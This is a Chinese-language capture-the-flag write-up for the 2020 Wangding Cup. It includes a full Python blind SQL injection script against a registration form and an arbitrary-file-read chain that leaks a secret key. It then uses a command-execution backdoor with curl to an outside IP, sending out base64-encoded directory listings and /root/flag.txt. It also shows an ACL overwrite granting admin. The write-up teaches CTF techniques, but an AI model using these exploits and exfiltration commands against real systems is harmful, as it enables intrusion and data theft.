2020 网鼎杯 白虎之战 部分题解

。赛后秒个题。

Web

张三的网站

18unfinished的原题,exp直接打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import requests as req
import random
import sys

URL = ''


def login(email):
data = {
"email": email,
"password": "123456"
}
res = req.post(URL + '/login.php', data)
if res.status_code == 200 and '1 </span>'.encode() in res.content:
return True
return False


def reg(u, e):
data = {
"username": u,
"email": e,
"password": "123456"
}
res = req.post(URL + '/register.php', data, allow_redirects=False)
if res.status_code == 302:
return login(e)
return False


table = 'qwertyuiopasdfghjklzxcvbnm'


def b(pl):
email = ''.join(random.sample(table, 8)) + '@qq.com'
return reg(pl, email)


def getLen(sql):
print("[+] Starting getLen...")
for i in range(1, 60):
sys.stdout.write("[+] Len : -> %d <-\r" % i)
sys.stdout.flush()
if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
print("[+] Len : -> %d <-" % i)
return i
return 0


def getData(sql="version()"):
_len = getLen(sql)
if not _len:
print("[-] getLen 'Error'")
return False
print("[+] Starting getData...")
table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
res = ''
for pos in range(1, _len + 1):
for ch in table:
sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
sys.stdout.flush()
pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
sql, pos, ch)
if b(pl):
res += ch
break
print("[+] Result : -> %s <- " % res)
return res


# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
# pl = "(select substr((version())from(1)for(1))='%s')" % '5'
# pl = "1'and(%s)and'1" % pl
# print(b(pl))
pl = 'version()'
pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
getData(pl)

picdown

任意文件读取,字典fuzz一下,/proc/self/cmdline有提示源码位置。

1
/root/.pyenv/versions/2.7.1/bin/pythonmain.py

同时/proc/self/fd/3下有key

1
N6UnR%2Bckjbyovd1o2ycsS%2B%2FvRXEJCvDomsZo72U1Uu8%3D

/page?url=main.py读一下源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)

@app.route('/')
def index():
return render_template('search.html')

@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)

@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

根据源码,直接命令执行。

1
2
3
4
5
6
7
/no_one_know_the_manager?key=N6UnR%2Bckjbyovd1o2ycsS%2B%2FvRXEJCvDomsZo72U1Uu8%3D&shell=curl%20122.51.113.164

/no_one_know_the_manager?key=N6UnR%2Bckjbyovd1o2ycsS%2B%2FvRXEJCvDomsZo72U1Uu8%3D&shell=curl%20122.51.113.164/`ls%20/|base64`

/no_one_know_the_manager?key=N6UnR%2Bckjbyovd1o2ycsS%2B%2FvRXEJCvDomsZo72U1Uu8%3D&shell=curl%20122.51.113.164/`ls%20/root|base64`

/no_one_know_the_manager?key=N6UnR%2Bckjbyovd1o2ycsS%2B%2FvRXEJCvDomsZo72U1Uu8%3D&shell=curl%20122.51.113.164/`cat%20/root/flag.txt|base64`

starbucket

1
2
3
4
5
6
7
fetch('./signature.php?acl=public-read-write&key=userinfo/' + userid + '/info.js')
.then(res => res.json())
.then(json => {
for (let key in json) {
$('input[name=' + key + ']')[0].value = json[key];
}
})

上传覆盖info.js的内容。

1
{"admin":true,"avatar":"image\/default.jpg"}

访问首页就有了。

Reverse

恶龙

Ida直接patch,小端序。

image-20200604235835147

然后导出运行。

image-20200604235949147

Misc

py

pyi-archive_viewer src

image-20200605000012863

打开就有flag

b64

整不明白。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64

cipher = "uLdAuO8duojAFLEKjIgdpfGeZoELjJp9kSieuIsAjJ/LpSXDuCGduouz"
original_format = "flag{de63de21-082b-4a9d-acbd-7d47a55840c6}"
leak_cipher = "pTjMwJ9WiQHfvC+eFCFKTBpWQtmgjopgqtmPjfKfjSmdFLpeFf/Aj2ud3tN7u2+enC9+nLN8kgdWo29ZnCrOFCDdFCrOFoF="
leak_plain = "ashlkj!@sj1223%^&*Sd4564sd879s5d12f231a46qwjkd12J;DJjl;LjL;KJ8729128713"
base64_table = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+',
'/', ]
base_split_step = 6
dic = []
s2b_step = 3
b2s_step = 4
for i in range(0, len(leak_plain), s2b_step):
res = leak_plain[i:i + s2b_step]
rr = ""
for j in res:
rr += bin(ord(j))[2:].zfill(8)
for k in range(0, len(rr), base_split_step):
dic.append(rr[k:k + base_split_step].ljust(6, "0"))

res_dict = {}
rd = []
for i, j in zip(leak_cipher, dic):
# res_dict[i] = j
res_dict[i] = int(j, 2)
rd.append(i)
print(res_dict)
print(set(base64_table) - set(rd))

non_existent = []
translate = ""
for i in cipher:
try:
translate += base64_table[res_dict[i]]
except:
translate += i
non_existent.append(i)
non_existent = set(non_existent)
print(non_existent)
for i in range(0, int(len(cipher) / b2s_step)):
tmp = translate[i * b2s_step:(i + 1) * b2s_step]
tmp_format = original_format[i * s2b_step:(i + 1) * s2b_step]
# print(tmp, tmp_format)
for j in tmp:
if j in non_existent:
print(tmp, tmp_format)
break